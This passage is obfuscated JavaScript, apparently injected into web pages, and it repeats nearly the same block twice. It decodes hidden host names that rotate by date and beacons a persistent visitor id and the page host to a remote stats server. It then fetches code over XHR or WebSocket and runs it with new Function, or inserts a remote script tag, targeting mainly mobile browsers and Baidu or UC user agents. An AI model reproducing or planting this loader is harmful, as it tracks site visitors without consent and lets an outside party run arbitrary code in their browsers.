RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};